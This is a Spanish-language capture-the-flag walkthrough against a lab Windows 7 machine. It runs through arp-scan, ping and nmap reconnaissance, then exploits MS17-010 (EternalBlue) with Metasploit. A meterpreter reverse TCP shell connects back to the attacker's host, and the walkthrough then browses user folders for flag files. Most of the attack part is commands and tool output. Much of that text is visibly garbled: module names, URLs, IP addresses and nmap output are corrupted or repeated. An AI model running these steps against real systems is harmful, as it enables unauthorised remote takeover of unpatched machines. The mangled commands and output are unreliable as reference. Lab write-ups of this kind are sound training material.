MICROCHOFT



LOCALIZACIÓN

```
Interface: eth0, type: EN10MB, MAC:
Starting arp-scan 1.10.0 with 256 hosts (nitps://github.com/royhills/arp-scan)
192.168.0.1
192.168.0.12
192.168.0.47
192.168.0.47
192.168.0.47
192.168.0.47
192.168.0.47
192.168.0.47
193.168.0.47
193.168.0.47
193.168.0.11
193.168.0.47
193.168.0.47
193.168.0.47
193.168.0.47
193.168.0.47
193.168.0.47
```

CONECTIVIDAD

```
ping -c1 192.168.0.47
ttl= 128 -----windows
```

```
# ping -c1 192.168.0.47
PING 192.168.0.47 (192.168.0.47) 56(84) bytes of data.
64 bytes from 192.168.0.47: icmp_seq=1 ttl=128 time=1.90 ms

— 192.168.0.47 ping statistics —
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 1.896/1.896/1.896/0.000 ms
```

ESCANEO DE PUERTOS

nmap -p- -Pn -sVC --min-rate 5000 192.168.0.47-T 5

Puertos abiertos 135,139,445,49152 y 49157

Ejecutamos nmap con scripts en busca de vulnerabilidades

nmap --script vuln 192.168.0.47

```
Starting Nmap 7.945VN ( https://nmap.org ) at 2024-10-08 08:03 EDT
Pre-scan script results:
| broadcast-avahi-dos:
| Discontinuous processes | Discontinuous | Disco
```

Vulnerabilidad MS17-010 en el puerto 445

Existe una vulnerabilidad crítica de ejecución remota de código en servidores Microsoft SMBv1, conocida como "EternalBlue".

EternalBlue es una vulnerabilidad crítica en el protocolo SMBv1
(Server Message Block) de Microsoft, que fue explotada masivamente
por el exploit homónimo desarrollado por la Agencia de Seguridad
Nacional de EE.UU. (NSA) y filtrado por el grupo de hackers
Shadow Brokers en 2017.

EternalBlue se aprovecha de un desbordamiento de búfer en el servicio SMB, que se puede activar enviando un paquete especialmente diseñado a través del puerto 445, que es el puerto donde se ejecuta SMB.

El exploit permite el acceso remoto a un sistema Windows sin autenticación previa.

Tenemos el exploit EternalBlue en metasploit, con lo que vamos a configurarlo

EXPLOTACIÓN

Usamos 0 y vemos las opciones

```
### A popuload configured, defaulting to windows/x64/meterpreter/reverse_tcp
### State of the provided configured and provided configured provided
```

Reseteamos el rhosts y ejecutamos con run

```
msf6 exploit( dinter /reb/ms/1 200 eternalium) > set rhosts 192.168.0.47
rhosts ⇒ 192.168.0.47
msf6 exploit( tinus /reb/msf1 200 eternalium) > run

[*] Started reverse TCP handler on 192.168.0.22:4444
[*] 192.168.0.47:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[*] 192.168.0.47:445 - Host is likely VULNERABLE to Ms17-010! - Windows 7 Home Basic 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.0.47:445 - Scanned 1 of 1 hosts (100% complete)
[*] 192.168.0.47:445 - The target is vulnerable.
[*] 192.168.0.47:445 - Connecting to target for exploitation.
[*] 192.168.0.47:445 - Connecting to target for exploitation.
[*] 192.168.0.47:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.0.47:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.0.47:445 - O-000000000 57 09 60 e4 of 77 73 20 37 20 48 6f 6d 65 20 42 Windows 7 Home B
[*] 192.168.0.47:445 - O-000000000 57 09 60 e4 of 77 73 20 37 20 48 6f 6d 65 20 42 Windows 7 Home B
[*] 192.168.0.47:445 - O-000000000 57 09 60 e4 of 77 73 20 37 20 48 6f 6d 65 20 42 Windows 7 Home B
[*] 192.168.0.47:445 - O-000000000 57 09 60 e4 of 77 73 20 37 20 48 6f 6d 65 20 42 Windows 7 Home B
[*] 192.168.0.47:445 - O-000000000 57 09 60 e7 of 77 73 20 37 20 48 6f 6d 65 20 42 Windows 7 Home B
[*] 192.168.0.47:445 - Target orch solected valid for arch indicated by DCE/RPC reply
[*] 192.168.0.47:445 - Target orch solected valid for arch indicated by DCE/RPC reply
[*] 192.168.0.47:445 - Starting non-paged pool grooming
[*] 192.168.0.47:445 - Starting
```

Después de establecer la sesión de Meterpreter, ejecutamos el comando shell, que nos da acceso directo a una consola de comandos de Windows en la máquina objetivo.

```
meterpreter > shell
Process 1252 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
```

Como tenemos acceso total, buscamos los usuarios

```
C:\>cd Users
cd Users
C:\Users>dir
dir
 Volume in drive C has no label.
Volume Serial Number is 44E2-21EC
 Directory of C:\Users
03/28/2024
03/28/2024
03/28/2024
03/28/2024
07/14/2009
               06:52 PM
06:52 PM
06:36 PM
06:52 PM
06:54 AM
                                  <DIR>
                                  <DIR>
                                  <DIR>
                                                         Admin
                                                        Lola
Public
                                   <DIR>
                                  <DIR>
```

Buscamos dentro de cada unos de ellos y obtenemos las flag

```
C:\Users\Admin>cd Desktop
cd Desktop

C:\Users\Admin\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 44E2-21EC

Directory of C:\Users\Admin\Desktop

03/28/2024 06:50 PM <DIR>
03/28/2024 06:50 PM <DIR>
03/28/2024 06:51 PM 32 admin.txt.txt

1 File(s) 32 bytes
2 Dir(s) 22,947,221,504 bytes free
```

🖖 Buen día.